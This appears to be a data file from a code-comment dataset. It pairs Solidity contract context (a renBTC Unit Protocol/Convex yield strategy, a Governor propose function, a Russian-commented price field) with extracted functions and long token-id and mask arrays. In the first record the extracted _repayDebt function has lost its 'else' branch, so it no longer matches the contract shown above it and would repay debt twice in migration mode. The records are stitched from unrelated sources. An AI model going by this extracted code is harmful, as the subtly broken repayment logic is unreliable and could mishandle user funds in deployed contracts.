int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy(
int128,
int128 j,
uint256 dx
) external view returns (uint256);
function calc_token_amount(uint256[2] calldata amounts, bool deposit) external view returns (uint256 amount);
function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts) external;
function remove_liquidity_imbalance(uint256[2] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(
uint256 _token_amounts,
int128 i,
uint256 min_amount
) external;
}
interface ICurveFi {
function get_virtual_price() external view returns (uint256 out);
function add_liquidity(
// renbtc/tbtc pool
uint256[2] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function get_dy(
int128 i,
int128 j,
uint256 dx
) external returns (uint256 out);
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external returns (uint256 out);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
uint256 deadline
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
uint256 deadline
) external;
function remove_liquidity(
uint256 _amount,
uint256 deadline,
uint256[2] calldata min_amounts
) external;
function remove_liquidity_imbalance(uint256[2] calldata amounts, uint256 deadline) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 _min_amount
) external;
function commit_new_parameters(
int128 amplification,
int128 new_fee,
int128 new_admin_fee
) external;
function apply_new_parameters() external;
function revert_new_parameters() external;
function commit_transfer_ownership(address _owner) external;
function apply_transfer_ownership() external;
function revert_transfer_ownership() external;
function withdraw_admin_fees() external;
function coins(int128 arg0) external returns (address out);
function underlying_coins(int128 arg0) external returns (address out);
function balances(int128 arg0) external returns (uint256 out);
function A() external returns (int128 out);
function fee() external returns (int128 out);
function admin_fee() external returns (int128 out);
function owner() external returns (address out);
function admin_actions_deadline() external returns (uint256 out);
function transfer_ownership_deadline() external returns (uint256 out);
function future_A() external returns (int128 out);
function future_fee() external returns (int128 out);
function future_admin_fee() external returns (int128 out);
function future_owner() external returns (address out);
function calc_withdraw_one_coin(uint256 _token_amount, int128 _i) external view returns (uint256 out);
}
interface ICurveGauge {
function deposit(uint256 _value) external;
function deposit(uint256 _value, address addr) external;
function balanceOf(address arg0) external view returns (uint256);
function withdraw(uint256 _value) external;
function withdraw(uint256 _value, bool claim_rewards) external;
function claim_rewards() external;
function claim_rewards(address addr) external;
function claimable_tokens(address addr) external view returns (uint256);
function claimable_reward(address addr) external view returns (uint256);
function integrate_fraction(address arg0) external view returns (uint256);
}
interface ICurveMintr {
function mint(address) external;
function minted(address arg0, address arg1) external view returns (uint256);
}
contract StrategyUnitProtocolRenbtc is StrategyUnitProtocolMeta {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
// strategy specific
address public constant renbtc_collateral = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
uint256 public constant renbtc_collateral_decimal = 1e8;
address public constant renbtc_oracle = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c;
uint256 public constant renbtc_price_decimal = 1;
bool public constant renbtc_price_eth = false;
bool public harvestToRepay = false;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 public constant weth_decimal = 1e18;
address public constant usdp3crv = 0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6;
address public constant usdp = debtToken;
address public constant curvePool = 0x42d7025938bEc20B69cBae5A77421082407f053A;
uint256 public constant usdp_decimal = 1e18;
// yield-farming in usdp-3crv pool & Convex Finance
address public stakingPool = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31;
uint256 public stakingPoolId = 28;
address public constant rewardTokenCRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
address public constant rewardTokenCVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
address public rewardPool = 0x24DfFd1949F888F91A0c8341Fc98a3F280a782a8;
// slippage protection for one-sided ape in/out
uint256 public slippageRepayment = 500; // max 5%
uint256 public slippageProtectionIn = 50; // max 0.5%
uint256 public slippageProtectionOut = 50; // max 0.5%
uint256 public keepCRV;
uint256 public keepCVX;
event RenBTCStratHarvest(
uint256 crvHarvested,
uint256 cvxHarvested,
uint256 usdpRepaid,
uint256 wantProcessed,
uint256 governancePerformanceFee,
uint256 strategistPerformanceFee
);
struct HarvestData {
uint256 crvHarvested;
uint256 cvxHarvested;
uint256 usdpRepaid;
uint256 wantProcessed;
uint256 governancePerformanceFee;
uint256 strategistPerformanceFee;
}
//
// feeConfig: governance/strategist/withdrawal/keepCRV
//
function initialize(
address _governance,
address _strategist,
address _controller,
address _keeper,
address _guardian,
address[1] memory _wantConfig,
uint256[4] memory _feeConfig
) public initializer {
__BaseStrategy_init(_governance, _strategist, _controller, _keeper, _guardian);
require(_wantConfig[0] == renbtc_collateral, "!want");
want = _wantConfig[0];
collateral = renbtc_collateral;
collateralDecimal = renbtc_collateral_decimal;
unitOracle = renbtc_oracle;
collateralPriceDecimal = renbtc_price_decimal;
collateralPriceEth = renbtc_price_eth;
performanceFeeGovernance = _feeConfig[0];
performanceFeeStrategist = _feeConfig[1];
withdrawalFee = _feeConfig[2];
keepCRV = _feeConfig[3];
keepCVX = keepCRV;
// avoid empty value after clones
minRatio = 150;
ratioBuff = 200;
useUnitUsdOracle = true;
dustMinDebt = 10000;
slippageRepayment = 500;
slippageProtectionIn = 50;
slippageProtectionOut = 50;
stakingPoolId = 28;
}
// **** Setters ****
function setSlippageRepayment(uint256 _repaymentSlippage) public{
_onlyGovernance();
require(_repaymentSlippage < MAX_FEE && _repaymentSlippage > 0, "!_repaymentSlippage");
slippageRepayment = _repaymentSlippage;
}
function setStakingPoolId(uint256 _poolId) public{
_onlyGovernance();
stakingPoolId = _poolId;
}
function setStakingPool(address _pool) public{
_onlyGovernance();
stakingPool = _pool;
}
function setRewardPool(address _pool) public{
_onlyGovernance();
rewardPool = _pool;
}
function setSlippageProtectionIn(uint256 _slippage) external {
_onlyGovernance();
require(_slippage < MAX_FEE && _slippage > 0, "!_slippageProtectionIn");
slippageProtectionIn = _slippage;
}
function setSlippageProtectionOut(uint256 _slippage) external {
_onlyGovernance();
require(_slippage < MAX_FEE && _slippage > 0, "!_slippageProtectionOut");
slippageProtectionOut = _slippage;
}
function setKeepCRV(uint256 _keepCRV) external {
_onlyGovernance();
keepCRV = _keepCRV;
}
function setKeepCVX(uint256 _keepCVX) external {
_onlyGovernance();
keepCVX = _keepCVX;
}
function setHarvestToRepay(bool _repay) public{
_onlyGovernance();
harvestToRepay = _repay;
}
// **** State Mutation functions ****
function harvest() external whenNotPaused returns (HarvestData memory) {
_onlyAuthorizedActors();
HarvestData memory harvestData;
(uint256 _crvRecycled, uint256 _cvxRecycled) = _collectStakingRewards(harvestData);
// Convert CRV & CVX Rewards to WETH
_convertRewards();
// Repay borrowed debt
uint256 _wethAmount = IERC20Upgradeable(weth).balanceOf(address(this));
if (_wethAmount > 0){
harvestData.usdpRepaid = _repayDebt(_wethAmount);
}
// Convert WETH to Want for reinvestement
_wethAmount = IERC20Upgradeable(weth).balanceOf(address(this));
if (_wethAmount > 0 && !harvestToRepay) {
address[] memory path = new address[](2);
path[0] = weth;
path[1] = want;
_swapExactTokensForTokens(uniswap, weth, _wethAmount, path);
}
// Take fees from want increase, and deposit remaining
harvestData.wantProcessed = IERC20Upgradeable(want).balanceOf(address(this));
uint256 _wantDeposited;
if (harvestData.wantProcessed > 0 && !harvestToRepay) {
(harvestData.governancePerformanceFee, harvestData.strategistPerformanceFee) = _processPerformanceFees(harvestData.wantProcessed);
// Reinvest remaining want
_wantDeposited = IERC20Upgradeable(want).balanceOf(address(this));
if (_wantDeposited > 0) {
_deposit(_wantDeposited);
}
}
emit RenBTCStratHarvest(harvestData.crvHarvested, harvestData.cvxHarvested, harvestData.usdpRepaid, harvestData.wantProcessed, harvestData.governancePerformanceFee, harvestData.strategistPerformanceFee);
emit Harvest(_wantDeposited, block.number);
return harvestData;
}
function _collectStakingRewards(HarvestData memory harvestData) internal returns(uint256, uint256){
uint256 _before = IERC20Upgradeable(want).balanceOf(address(this));
uint256 _beforeCrv = IERC20Upgradeable(rewardTokenCRV).balanceOf(address(this));
uint256 _beforeCvx = IERC20Upgradeable(rewardTokenCVX).balanceOf(address(this));
// Harvest from Convex Finance
IBaseRewardsPool(rewardPool).getReward(address(this), true);
uint256 _afterCrv = IERC20Upgradeable(rewardTokenCRV).balanceOf(address(this));
uint256 _afterCvx = IERC20Upgradeable(rewardTokenCVX).balanceOf(address(this));
harvestData.crvHarvested = _afterCrv.sub(_beforeCrv);
harvestData.cvxHarvested = _afterCvx.sub(_beforeCvx);
uint256 _crv = _afterCrv;
uint256 _cvx = _afterCvx;
// Transfer CRV & CVX token to Rewards wallet as configured
uint256 _keepCrv = _crv.mul(keepCRV).div(MAX_FEE);
uint256 _keepCvx = _cvx.mul(keepCVX).div(MAX_FEE);
IERC20Upgradeable(rewardTokenCRV).safeTransfer(IController(controller).rewards(), _keepCrv);
IERC20Upgradeable(rewardTokenCVX).safeTransfer(IController(controller).rewards(), _keepCvx);
uint256 _crvRecycled = _crv.sub(_keepCrv);
uint256 _cvxRecycled = _cvx.sub(_keepCvx);
return (_crvRecycled, _cvxRecycled);
}
function _repayDebt(uint256 _wethAmount) internal returns(uint256) {
uint256 _repaidDebt;
if (harvestToRepay){
// Repay debt ONLY to skip reinvest in case of strategy migration period
_repaidDebt = _swapRewardsToDebt(_wethAmount);
} else {
// Repay debt first
uint256 dueFee = getDueFee();
if (dueFee > 0){
uint256 _swapIn = calcETHSwappedForFeeRepayment(dueFee, _wethAmount);
_repaidDebt = _swapRewardsToDebt(_swapIn);
require(IERC20Upgradeable(debtToken).balanceOf(address(this)) >= dueFee, '!notEnoughRepaymentDuringHarvest');
uint256 debtTotalBefore = getDebtBalance();
repayAndRedeemCollateral(0, dueFee);
require(getDebtBalance() < debtTotalBefore, '!repayDebtDuringHarvest');
}
}
return _repaidDebt;
}
function _convertRewards() internal {
uint256 _rewardCRV = IERC20Upgradeable(rewardTokenCRV).balanceOf(address(this));
uint256 _rewardCVX = IERC20Upgradeable(rewardTokenCVX).balanceOf(address(this));
if (_rewardCRV > 0) {
address[] memory _swapPath = new address[](2);
_swapPath[0] = rewardTokenCRV;
_swapPath[1] = weth;
_swapExactTokensForTokens(sushiswap, rewardTokenCRV, _rewardCRV, _swapPath);
}
if (_rewardCVX > 0) {
address[] memory _swapPath = new address[](2);
_swapPath[0] = rewardTokenCVX;
_swapPath[1] = weth;
_swapExactTokensForTokens(sushiswap, rewardTokenCVX, _rewardCVX, _swapPath);
}
}
function _swapRewardsToDebt(uint256 _swapIn) internal returns (uint256){
address[] memory _swapPath = new address[](2);
_swapPath[0] = weth;
_swapPath[1] = debtToken;
uint256 _beforeDebt = IERC20Upgradeable(debtToken).balanceOf(address(this));
_swapExactTokensForTokens(sushiswap, weth, _swapIn, _swapPath);
return IERC20Upgradeable(debtToken).balanceOf(address(this)).sub(_beforeDebt);
}
function calcETHSwappedForFeeRepayment(uint256 _dueFee, uint256 _toSwappedETHBal) public view returns (uint256){
(,int ethPrice,,,) = IChainlinkAggregator(eth_usd).latestRoundData();// eth price from chainlink in 1e8 decimal
uint256 toSwapped = _dueFee.mul(weth_decimal).div(usdp_decimal).mul(1e8).div(uint256(ethPrice));
uint256 _swapIn = toSwapped.mul(MAX_FEE.add(slippageRepayment)).div(MAX_FEE);
return _swapIn > _toSwappedETHBal ? _toSwappedETHBal : _swapIn;
}
function _processPerformanceFees(uint256 _amount) internal returns (uint256 governancePerformanceFee, uint256 strategistPerformanceFee) {
governancePerformanceFee = _processFee(want, _amount, performanceFeeGovernance, IController(controller).rewards());
strategistPerformanceFee = _processFee(want, _amount, performanceFeeStrategist, strategist);
}
function estimateMinCrvLPFromDeposit(uint256 _usdpAmt) public view returns(uint256){
uint256 _expectedOut = estimateRequiredUsdp3crv(_usdpAmt);
_expectedOut = _expectedOut.mul(MAX_FEE.sub(slippageProtectionIn)).div(MAX_FEE);
return _expectedOut;
}
function _depositUSDP(uint256 _usdpAmt) internal override {
uint256 _maxSlip = estimateMinCrvLPFromDeposit(_usdpAmt);
if (_usdpAmt > 0 && checkSlip(_usdpAmt, _maxSlip)) {
_safeApproveHelper(debtToken, curvePool, _usdpAmt);
uint256[2] memory amounts = [_usdpAmt, 0];
ICurveFi(curvePool).add_liquidity(amounts, _maxSlip);
}
uint256 _usdp3crv = IERC20Upgradeable(usdp3crv).balanceOf(address(this));
if (_usdp3crv > 0) {
_safeApproveHelper(usdp3crv, stakingPool, _usdp3crv);
IBooster(stakingPool).depositAll(stakingPoolId, true);
}
}
function _withdrawUSDP(uint256 _usdpAmt) internal override {
uint256 _requiredUsdp3crv = estimateRequiredUsdp3crv(_usdpAmt);
_requiredUsdp3crv = _requiredUsdp3crv.mul(MAX_FEE.add(slippageProtectionOut)).div(MAX_FEE); // try to remove bit more
uint256 _usdp3crv = IERC20Upgradeable(usdp3crv).balanceOf(address(this));
uint256 _withdrawFromStaking = _usdp3crv < _requiredUsdp3crv ? _requiredUsdp3crv.sub(_usdp3crv) : 0;
if (_withdrawFromStaking > 0) {
uint256 maxInStaking = IBaseRewardsPool(rewardPool).balanceOf(address(this));
uint256 _toWithdraw = maxInStaking < _withdrawFromStaking ? maxInStaking : _withdrawFromStaking;
IBaseRewardsPool(rewardPool).withdrawAndUnwrap(_toWithdraw, false);
}
_usdp3crv = IERC20Upgradeable(usdp3crv).balanceOf(address(this));
if (_usdp3crv > 0) {
_requiredUsdp3crv = _requiredUsdp3crv > _usdp3crv ? _usdp3crv : _requiredUsdp3crv;
uint256 maxSlippage = _requiredUsdp3crv.mul(MAX_FEE.sub(slippageProtectionOut)).div(MAX_FEE);
_safeApproveHelper(usdp3crv, curvePool, _requiredUsdp3crv);
ICurveFi(curvePool).remove_liquidity_one_coin(_requiredUsdp3crv, 0, maxSlippage);
}
}
// **** Views ****
function virtualPriceToWant() public view returns (uint256) {
return ICurveFi(curvePool).get_virtual_price();
}
function estimateRequiredUsdp3crv(uint256 _usdpAmt) public view returns (uint256) {
return _usdpAmt.mul(1e18).div(virtualPriceToWant());
}
function checkSlip(uint256 _usdpAmt, uint256 _maxSlip) public view returns (bool) {
uint256[2] memory amounts = [_usdpAmt, 0];
return ICurveExchange(curvePool).calc_token_amount(amounts, true) >= _maxSlip;
}
function balanceOfCrvLPToken() public view returns (uint256){
uint256 lpAmt = IBaseRewardsPool(rewardPool).balanceOf(address(this));
return lpAmt.add(IERC20Upgradeable(usdp3crv).balanceOf(address(this)));
}
function usdpOfPool() public view returns (uint256){
uint256 lpAmt = balanceOfCrvLPToken();
return usdp3crvToUsdp(lpAmt);
}
function usdp3crvToUsdp(uint256 _usdp3crv) public view returns (uint256) {
if (_usdp3crv == 0) {
return 0;
}
return virtualPriceToWant().mul(_usdp3crv).div(1e18);
}
/// @notice Specify tokens used in yield process, should not be available to withdraw via withdrawOther()
function _onlyNotProtectedTokens(address _asset) internal override {
require(usdp3crv != _asset, "!usdp3crv");
require(debtToken != _asset, "!usdp");
require(renbtc_collateral != _asset, "!renbtc");
}
function getProtectedTokens() public override view returns (address[] memory) {
address[] memory protectedTokens = new address[](3);
protectedTokens[0] = renbtc_collateral;
protectedTokens[1] = debtToken;
protectedTokens[2] = usdp3crv;
return protectedTokens;
}
/// @dev User-friendly name for this strategy for purposes of convenient reading
function getName() external override pure returns (string memory) {
return "StrategyUnitProtocolRenbtc";
}
// only include CRV earned
function getHarvestable() public view returns (uint256) {
return IBaseRewardsPool(rewardPool).earned(address(this));
}
// https://etherscan.io/address/0x4e3fbd56cd56c3e72c1403e103b45db9da5b9d2b#code#L1091
function mintableCVX(uint256 _amount) public view returns (uint256) {
uint256 _toMint = 0;
uint256 supply = IERC20Upgradeable(rewardTokenCVX).totalSupply();
uint256 cliff = supply.div(ICvxMinter(rewardTokenCVX).reductionPerCliff());
uint256 totalCliffs = ICvxMinter(rewardTokenCVX).totalCliffs();
if (cliff < totalCliffs){
uint256 reduction = totalCliffs.sub(cliff);
_amount = _amount.mul(reduction).div(totalCliffs);
uint256 amtTillMax = ICvxMinter(rewardTokenCVX).maxSupply().sub(supply);
if (_amount > amtTillMax){
_amount = amtTillMax;
}
_toMint = _amount;
}
return _toMint;
}
function getHarvestableCVX() public view returns (uint256) {
uint256 _crvEarned = getHarvestable();
return mintableCVX(_crvEarned);
}
} | Repay debt ONLY to skip reinvest in case of strategy migration period Repay debt first | function _repayDebt(uint256 _wethAmount) internal returns(uint256) {
uint256 _repaidDebt;
if (harvestToRepay){
_repaidDebt = _swapRewardsToDebt(_wethAmount);
uint256 dueFee = getDueFee();
if (dueFee > 0){
uint256 _swapIn = calcETHSwappedForFeeRepayment(dueFee, _wethAmount);
_repaidDebt = _swapRewardsToDebt(_swapIn);
require(IERC20Upgradeable(debtToken).balanceOf(address(this)) >= dueFee, '!notEnoughRepaymentDuringHarvest');
uint256 debtTotalBefore = getDebtBalance();
repayAndRedeemCollateral(0, dueFee);
require(getDebtBalance() < debtTotalBefore, '!repayDebtDuringHarvest');
}
}
return _repaidDebt;
}
| 1,553,324 | [
1,
426,
10239,
18202,
88,
20747,
358,
2488,
283,
5768,
395,
316,
648,
434,
6252,
6333,
3879,
868,
10239,
18202,
88,
1122,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
266,
10239,
758,
23602,
12,
11890,
5034,
389,
91,
546,
6275,
13,
2713,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
389,
266,
29434,
758,
23602,
31,
203,
3639,
309,
261,
30250,
26923,
774,
426,
10239,
15329,
203,
5411,
389,
266,
29434,
758,
23602,
273,
389,
22270,
17631,
1060,
11634,
758,
23602,
24899,
91,
546,
6275,
1769,
1171,
203,
5411,
2254,
5034,
6541,
14667,
273,
2343,
344,
14667,
5621,
203,
5411,
309,
261,
24334,
14667,
405,
374,
15329,
1082,
203,
7734,
2254,
5034,
389,
22270,
382,
273,
7029,
1584,
44,
12521,
1845,
1290,
14667,
426,
9261,
12,
24334,
14667,
16,
389,
91,
546,
6275,
1769,
9506,
203,
7734,
389,
266,
29434,
758,
23602,
273,
389,
22270,
17631,
1060,
11634,
758,
23602,
24899,
22270,
382,
1769,
203,
6862,
203,
7734,
2583,
12,
45,
654,
39,
3462,
10784,
429,
12,
323,
23602,
1345,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
1545,
6541,
14667,
16,
11817,
902,
664,
4966,
426,
9261,
26424,
44,
297,
26923,
8284,
203,
6862,
203,
7734,
2254,
5034,
18202,
88,
5269,
4649,
273,
336,
758,
23602,
13937,
5621,
203,
7734,
2071,
528,
1876,
426,
24903,
13535,
2045,
287,
12,
20,
16,
6541,
14667,
1769,
203,
7734,
2583,
12,
588,
758,
23602,
13937,
1435,
411,
18202,
88,
5269,
4649,
16,
11817,
266,
10239,
758,
23602,
26424,
44,
297,
26923,
8284,
203,
5411,
289,
9506,
203,
3639,
289,
203,
3639,
327,
389,
266,
29434,
758,
23602,
31,
203,
565,
289,
203,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x637b0Bdc8a450BCd96bf873f2fb1f57871C618A6/sources/_openzeppelin/contracts-upgradeable/governance/GovernorUpgradeable.sol | * @dev See {IGovernor-propose}./uint64 snapshot = starttime;block.number.toUint64() + votingDelay().toUint64();uint64 deadline = endtime;snapshot + votingPeriod().toUint64(); | function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
uint64 starttime,
uint64 endtime
) public virtual override returns (uint256) {
require(
getVotes(_msgSender(), block.number - 1) >= proposalThreshold(),
"Governor: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
proposal.voteStart.setDeadline(starttime);
proposal.voteEnd.setDeadline(endtime);
proposal.voteStartBlock.setDeadline(block.number.toUint64());
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
starttime,
endtime,
description
);
return proposalId;
}
| 5,575,964 | [
1,
9704,
288,
3047,
1643,
29561,
17,
685,
4150,
5496,
19,
11890,
1105,
4439,
273,
23437,
31,
2629,
18,
2696,
18,
869,
5487,
1105,
1435,
397,
331,
17128,
6763,
7675,
869,
5487,
1105,
5621,
11890,
1105,
14096,
273,
31361,
31,
11171,
397,
331,
17128,
5027,
7675,
869,
5487,
1105,
5621,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
450,
4150,
12,
203,
3639,
1758,
8526,
3778,
5774,
16,
203,
3639,
2254,
5034,
8526,
3778,
924,
16,
203,
3639,
1731,
8526,
3778,
745,
13178,
16,
203,
3639,
533,
3778,
2477,
16,
203,
3639,
2254,
1105,
23437,
16,
203,
3639,
2254,
1105,
31361,
203,
565,
262,
1071,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
203,
5411,
11031,
6366,
24899,
3576,
12021,
9334,
1203,
18,
2696,
300,
404,
13,
1545,
14708,
7614,
9334,
203,
5411,
315,
43,
1643,
29561,
30,
450,
5607,
19588,
5712,
14708,
5573,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
14708,
548,
273,
1651,
14592,
12,
11358,
16,
924,
16,
745,
13178,
16,
417,
24410,
581,
5034,
12,
3890,
12,
3384,
3719,
1769,
203,
203,
3639,
2583,
12,
11358,
18,
2469,
422,
924,
18,
2469,
16,
315,
43,
1643,
29561,
30,
2057,
14708,
769,
8863,
203,
3639,
2583,
12,
11358,
18,
2469,
422,
745,
13178,
18,
2469,
16,
315,
43,
1643,
29561,
30,
2057,
14708,
769,
8863,
203,
3639,
2583,
12,
11358,
18,
2469,
405,
374,
16,
315,
43,
1643,
29561,
30,
1008,
14708,
8863,
203,
203,
3639,
19945,
4670,
2502,
14708,
273,
389,
685,
22536,
63,
685,
8016,
548,
15533,
203,
3639,
2583,
12,
685,
8016,
18,
25911,
1685,
18,
291,
13250,
9334,
315,
43,
1643,
29561,
30,
14708,
1818,
1704,
8863,
203,
203,
203,
3639,
14708,
18,
25911,
1685,
18,
542,
15839,
12,
1937,
957,
1769,
203,
3639,
14708,
18,
25911,
1638,
18,
542,
15839,
12,
409,
957,
1769,
203,
3639,
2
]
|
./full_match/4/0xA1d27c20AfddD4F7E1E4eA59b534FEb9b31e1609/sources/contracts/RawToken4.sol | стоимость после продажи площадкой, на которую в дальнейшем начисляются проценты (для сырьевого токена);
| uint256 deposit_price; | 12,477,771 | [
1,
146,
228,
146,
229,
145,
127,
145,
121,
145,
125,
145,
127,
146,
228,
146,
229,
146,
239,
225,
145,
128,
145,
127,
146,
228,
145,
124,
145,
118,
225,
145,
128,
146,
227,
145,
127,
145,
117,
145,
113,
145,
119,
145,
121,
225,
145,
128,
145,
124,
145,
127,
146,
236,
145,
113,
145,
117,
145,
123,
145,
127,
145,
122,
16,
225,
145,
126,
145,
113,
225,
145,
123,
145,
127,
146,
229,
145,
127,
146,
227,
146,
230,
146,
241,
225,
145,
115,
225,
145,
117,
145,
113,
145,
124,
146,
239,
145,
126,
145,
118,
145,
122,
146,
235,
145,
118,
145,
125,
225,
145,
126,
145,
113,
146,
234,
145,
121,
146,
228,
145,
124,
146,
242,
146,
241,
146,
229,
146,
228,
146,
242,
225,
145,
128,
146,
227,
145,
127,
146,
233,
145,
118,
145,
126,
146,
229,
146,
238,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
3639,
2254,
5034,
443,
1724,
67,
8694,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
